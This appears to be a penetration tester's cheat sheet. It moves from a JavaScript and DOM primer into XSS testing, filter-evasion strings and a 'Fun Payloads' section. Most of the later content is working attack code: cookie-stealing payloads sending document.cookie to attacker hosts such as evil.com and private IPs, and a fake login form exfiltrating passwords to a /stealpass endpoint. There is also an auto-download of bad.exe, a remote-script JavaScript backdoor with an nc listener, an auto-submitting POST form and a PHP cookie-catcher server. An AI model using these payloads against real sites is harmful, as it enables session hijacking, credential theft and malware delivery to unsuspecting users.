The Document Object Model is a programmatic API led interface for a web browser which creates smooth, responsive web apps without requiring new round-trip visits to a website. JavaScript is used to interface directly with the DOM.
JavaScript Primer
Object oriented programming language, generally used in web applications or on browsers. There are some specific terms which are similar to other types of programming languages.
Term
Meaning
Function
Just like any other language function, JS uses { } to determine a function's code.
Properties
Fields of attributes assigned to an object, can be hundreds of them. These properties can be referenced for easy manipulation of objects
Methods
Also known as member functions, belong to objects.
Browser Objects
This is a list of objects that can be referenced for the browser.
document.forms // Find all forms on DOMdocument.forms.length// Find number of forms on DOMdocument.forms[0].action // Read the action of the first form in DOMdocument.forms[0].action =="https://m4lwhere.org"// Change the action of the formdocument.cookie // Lists cookies, will not work for HttpOnlywindow.location.hostname // Hostname of current sitewindow.location.href // Full URL of current sitewindow.location.pathname // URI only of current site (no hostname!)window.location.protcol // List HTTP or HTTPSdocument.images // All images in DOMdocument.images.src // Get the list of image objects in DOMdocument.links // All links in DOMdocument.scripts // All JavaScript scripts in DOMdocument.readyState // If page is loading or notdocument.referrer // Returns URI that linked to current pagedocument.title // Title of current DOMdocument.write // Add text or other data to the documentClipboardEvent.copy // Event listener for a copy actionClipboardEvent.paste // Event listener for a paste actionconsole.log("haha"); // Prints the value of a command to the console, useful for debuggingencodeURIComponent("<script>alert(1)</script>") // Encodes the URI for us :)document.addEventListener('copy', (event) => { // Creates a event listener which executes the alert when a copy is made
alert('copy action initiated')});constparagraphs=document.querySelectorAll("p"); // Get a number of all paragraphs on the DOMalert(paragraphs[0].nodeName);paragraphs[(Math.floor(Math.random()*(paragraphs.length)))].hidden = true; // Mark a random paragraph as hidden, making it appear as though it was deleted
<h1style=-moz-transform:rotate(-180deg);>m4lwhere</h1>// Get a list of all char values in an array named "year"varcodes = []for (i=0; i < year.length; i++) { codes.push(year.charCodeAt([i]))}// sum of all elements in an arrayvarsum = 0;for (var i = 0; i < codes.length; i++) {sum += codes[i]}
XSS
Start by submitting a unique but benign string to identify where it is stored in the DOM/application. Can be placed in HTML content, tag attribute, or JS code. When cookies are assigned by a website, they SHOULD be given the HttpOnly attribute. This prevents JS from being able to touch the cookie at all. This will show up when the cookie is assigned.
// Start by placing a unique and benign string to identify where its stored in applicationm4lwhereWuzHere// HTML Content<script>alert(1);</script><imgsrc="x"onerror=alert(1);/>// Tag Attributes<input type="text"name="text_box"value="m4lwhereWuzHere"> // Legitimate Tag Attribute with our unique stringhaha" onload="alert(1) // Our injection<inputtype="text"name="text_box"value="haha"onload="alert(1)"> // Our injection placed into Tag Attribute// Existing JS Codevar lmao="m4lwhereWuzHere"; // Legitimate JS code in apphaha";alert(1);// // Inject into the JS, then comment out the rest of JSvar lmao="haha";alert(1);//"; // Injected code :) // Encode into base64btoa("alert('base64 used for xss on'+document.domain);");// Deliver a Base64 encoded payload (useful for special characters)eval(atob(YWxlcnQoJ2Jhc2U2NCB1c2VkIGZvciB4c3Mgb24nK2RvY3VtZW50LmRvbWFpbik7));alert(1);confirm(1);prompt("Gimme ur password lmao");<script src="http://m4lwhere.org/haha.js"></script> // Loading an external script with XSS is trusted by the browser because it's served by the site!
Trigger POST Based Reflected XSS
This creates a button which when clicked will trigger a POST request with data sent to an known vulnerable endpoint. This assumes that there are no CSRF protections to prevent submissions on the vulnerable website. The JavaScript beneath the form will click on the button automatically as well, which forces the POST request to occur without user input.
<!DOCTYPE html>
<html>
<head>
<title>Reflected XSS POST</title>
</head>
<body>
<form method="post" action="https://m4lwhere.org">
<input type="hidden" name="data" value="your_data">
<button id="clicker" type="submit">Send POST Request</button>
</form>
<script>
// Get the button element by its ID
var button = document.getElementById("clicker");
// Click the button
button.click();
</script>
</body>
</html>
Filter Evasion
Need to figure out what is being filtered, then how we can get around it. Angle brackets < > and <script> are commonly blocked, so we can target DOM events, encoded payloads, or payloads without these characters.
// Filter tests for XSS, used to determine which characters are filtered<>()='"/;[]{}$--#& // Polyglot'';!--"<XSS>=&{()} // PolyglotJaVAscRIPT:prompt(99)onerror=alert(1) // DOM Event based XSS, no <>!<imgsrc="ded"onerror=alert(1)> // HTML based XSS without <script><svg onload=alert(1)> // HTML based using SVG tags<img SRC=javascript:alert('XSS'); // Ride an img tag
Password Prompt
Create a fake username and password prompt to trick users into passing their login info. This can be used to fill any auto-login info and be automatically stolen.
// Create the fake user input forms<form><inputtype="text"name="username" /><inputtype="password"name="password" /></form>// Different ways to gather password value from DOMdocument.querySelector("[name=password]").value"adminpass"document.querySelector("input[name=password]").value"adminpass"document.querySelector("[type=password]").value"adminpass"// Use jQuery $get method to steal the token$.get("http://192.168.6.10/stealpass/"+document.querySelector("[name=password]").value)// All combined together<form><input type="text" name="username" /><input type="password" name="password" /></form><script>setTimeout(function(){$.get("http://192.168.6.10/stealpass/"+document.querySelector("[name=password]").value)}, 3000)</script>
Fun Payloads
Here's some good payloads
// Tracking cookies and XSS payloadsdocument.write('<img src="https://yourserver.evil.com/collect.gif?cookie='+document.cookie +'" />')<imgsrc=x onerror=this.src="http://10.10.14.5/?c="+document.cookie>image = new Image(); image.src='http://127.0.0.1?c='+document.cookie+'?d='+document.domain;<script>document.location='http://10.142.148.X:8080/' + document.cookie</script>// Download a file to the systemvar link = document.createElement('a'); link.href = 'http://evil.com/downloads/bad.exe'; link.download = ''; document.body.appendChild(link); link.click();
// Automatically download a file to the system<script>window.onload = function(){vara = document.createElement("a"); a.href ="link/to/file"; a.download = true; a.click();};</script>// Automatically redirect using pure HTML<html> <iframe width=”1” height=”1” frameborder=”0” src=”badfile.exe”></iframe> <meta http-equiv=”refresh” content=”0;url=https://www.centripetal.ai” /></html>// Interactive JavaScript Backdoor: still needs some work<svg onload=setInternal(function() {d=document; z=d.createElement("script"); z.src="//127.0.0.1:1234"; d.body.appendChild(z)},0)>
// Run on attacker boxwhile :; do printf "j$ "; read c; echo $c | nc -lvvp 1234>/dev/null; done
AJAX
Asynchronous JavaScript and XML, used to add more content dynamically to a page without refreshing the entire page. Main object used to generate this ability is the XMLHttpRequest function. A new function, Fetch is a newer API with more features.
XMLHttpRequest.readyState // Determines if the client has sent data, downloading, or doneXMLHttpRequest.open() // Initializes a request and gives a lot of flexibility
Catching cookies with exploits can be done several ways. Likely the easiest is to send the cookie in a GET request and capture it with python3 -m http.server. We can get more detailed however!
<html><?phpfile_put_contents("cookies.log", json_encode(array("GET"=>$_GET,"POST"=>$_POST,"headers"=>getallheaders()))."\n",FILE_APPEND);?></html>m4lwhere@ubuntu:~/web/cookiecatcher$ php -S 0.0.0.0:8080PHP 7.2.24-0ubuntu0.18.04.2 Development Server started at Sun Feb 2311:45:542020Listening on http://0.0.0.0:8080Document root is /home/m4lwhere/cookiecatcher